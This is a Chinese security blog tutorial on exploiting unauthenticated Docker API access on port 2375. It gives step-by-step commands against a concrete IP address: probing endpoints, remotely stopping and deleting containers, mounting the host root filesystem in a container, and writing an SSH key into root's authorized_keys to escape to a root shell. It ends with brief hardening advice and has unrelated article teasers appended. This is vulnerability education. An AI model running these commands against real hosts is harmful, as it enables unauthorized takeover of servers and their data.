【云安全】云原生-Docker(六)Docker API 未授权访问

server/2025/2/28 3:33:47/

Docker API 未授权访问 是一个非常严重的安全漏洞,可能导致严重的安全风险。

什么是 Docker API ?

Docker API 是 Docker 容器平台提供的一组 RESTful API,用于与 Docker 守护程序进行通信和管理 Docker 容器。通过 Docker API,用户可以通过 HTTP 请求来执行诸如创建、启动、停止、删除容器等操作。同时,Docker API 还允许用户管理镜像、网络、卷等 Docker 资源。用户可以使用任何支持 HTTP 请求的工具或库来访问 Docker API,从而实现与 Docker 容器平台的集成和自动化管理。

Docker API 未授权访问 

漏洞背景

Docker 守护进程(Docker Daemon)默认监听在 Unix 套接字(`unix:///var/run/docker.sock`)上,但有时为了方便管理,用户会将 Docker API 暴露在 TCP 端口(如 `2375` 或 `2376`)上。如果未正确配置访问控制(如未启用 TLS 加密和认证),攻击者可以直接访问 Docker API,从而完全控制 Docker 主机及其容器

漏洞复现

1、快速搭建环境

dockerd -H unix:///var/run/docker.sock -H 0.0.0.0:2375

如果出现如下报错,表明 Docker 守护进程在启动时失败了,原因是 docker 守护进程已经在运行

停止进程,重新执行刚才的命令,环境搭建成功

#1、确认 Docker 守护进程是否正在运行
ps aux | grep dockerd
#2、如果正在运行,先停止它
sudo systemctl stop docker

2、浏览器访问,这样即存在 Docker API 未授权访问漏洞

常见探测路径

http://39.105.123.35:2375/version
http://39.105.123.35:2375/info
http://39.105.123.35:2375/images/json
http://39.105.123.35:2375/containers/json    

3、攻击者便可以远程通过Docker客户端连接,以下为常见操作

#列出所有容器
docker -H 39.105.123.35 ps -a
#查看镜像
docker -H 39.105.123.35 images
#拉取镜像
docker -H 39.105.123.35 pull ubuntu
#停止一个已经运行的容器
docker -H 39.105.123.35 stop c198868f6660
#删除容器
docker -H 39.105.123.35 rm c198868f6660
#进入容器
docker -H 39.105.123.35 exec -it 08d28346ff2d /bin/bash

4、写公钥获取shell

#生成公钥
ssh-keygen -t rsa
#查看生成的公钥
cat /root/.ssh/id_rsa.pub
#运行一个容器挂载宿主机的根目录到容器/mnt目录
docker -H tcp://39.105.123.35 run -it -v /:/mnt --entrypoint /bin/bash nginx
#写入公钥到宿主机
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDBA/ZttXREVO+V615UhA2GoQvfmy1JnyJ0eqPnDlAyMxTi9Jahr0IBzqfxk+6hZzdy1a22YwnAOYnSvjkpR8eOYnxb0UoVmXpWMRNqW34v8liJGbc6m1Y5FsottqZfZVRe1UzfvuuOPnUW+oboqT5SvGSH0EXKiQoNFy4fafxHv2mO5E3roac1G1CbA/oPhbnFzFy8qcYjpc1BwSYG60+0IUutX+j2GasXFsieHKyV9U6a9vWLW4OkNUjCnzc/NEbgP/JG7t19NOHrjp4+IA7MGoCfui6G7j8a+PKslJG1hKu/B6frVfWNHVMQkBcmBxZtcmnCxeu+e10YiBtEPi+7 root@master-1" > /mnt/root/.ssh/authorized_keys

5、容器逃逸:连接目标主机获取shell

ssh root@39.105.123.35 -i id_rsa

总结

Docker API 未授权访问是一个高危漏洞,可能导致容器逃逸、数据泄露、恶意软件部署等严重后果。通过正确配置 TLS 加密、访问控制和防火墙规则,可以有效降低风险。同时,建议定期进行安全审计和漏洞扫描,确保 Docker 环境的安全性。 


http://www.ppmy.cn/server/171201.html

相关文章

vscode 版本

vscode官网 Visual Studio Code - Code Editing. Redefined 但是官网只提供最新 在之前的版本就要去github找了 https://github.com/microsoft/vscode/releases 获取旧版本vscode安装包的方法_vscode 老版本-CSDN博客

[杂学笔记]OSI七层模型作用、HTTP协议中的各种方法、HTTP的头部字段、TLS握手、指针与引用的使用场景、零拷贝技术

1.OSI七层模型作用 物理层:负责光电信号的传输,以及将光电信号转化为二进制数据数据链路层:主要负责将收到的二进制数据进一步的封装为数据帧报文。同时因为数据在网络中传递的时候,每一个主机都能够收到报文数据,该层…

Kubernetes集群状态检查与告警整合的自动化

将Kubernetes集群状态检查与告警整合的自动化方案,包含脚本实现、定时任务配置及异常通知机制: 1. 创建监控脚本 保存为 /opt/k8s-monitor/cluster-check.sh: #!/bin/bash# 基础配置 LOG_DIR"/var/log/k8s-monitor" REPORT_FILE&…

品牌全链路电商代运营:行业格局与头部服务商解析

品牌全链路电商代运营:行业格局与头部服务商解析 随着电商行业的快速发展,品牌对线上渠道的依赖日益加深,但自建电商团队的复杂性和高成本促使许多企业选择与专业代运营公司合作。品牌全链路电商代运营应运而生,其覆盖从店铺运营…

【PyTorch][chapter-33][transformer-5] MHA MQA GQA, KV-Cache

主要翻译外网: 解剖Deep Seek 系列,详细见参考部分。 目录: Multi-Head Attention (MHA) KV-Cache KV-Cache 公式 Multi-Query Attention(MQA) Grouped-Query Attention(GQA) Multi-Head Latent Attention …

支持selenium的chrome driver更新到133.0.6943.126

最近chrome释放新版本:133.0.6943.126 如果运行selenium自动化测试出现以下问题,是需要升级chromedriver才可以解决的。 selenium.common.exceptions.SessionNotCreatedException: Message: session not created: This version of ChromeDriver only s…

网络安全入门|HTTP慢速攻击的终极防御:零信任与AI对抗

一、零信任架构在防御中的核心挑战 零信任架构(Zero Trust)以“永不信任,持续验证”为核心,但在对抗HTTP慢速攻击时面临以下关键问题: 身份动态验证的性能损耗 问题:频繁的身份验证(如JWT令牌校…

用PyTorch从零构建 DeepSeek R1:模型架构和分步训练详解

DeepSeek R1 的完整训练流程核心在于,在其基础模型 DeepSeek V3 之上,运用了多种强化学习策略。 本文将从一个可本地运行的基础模型起步,并参照其技术报告,完全从零开始构建 DeepSeek R1,理论结合实践,逐步…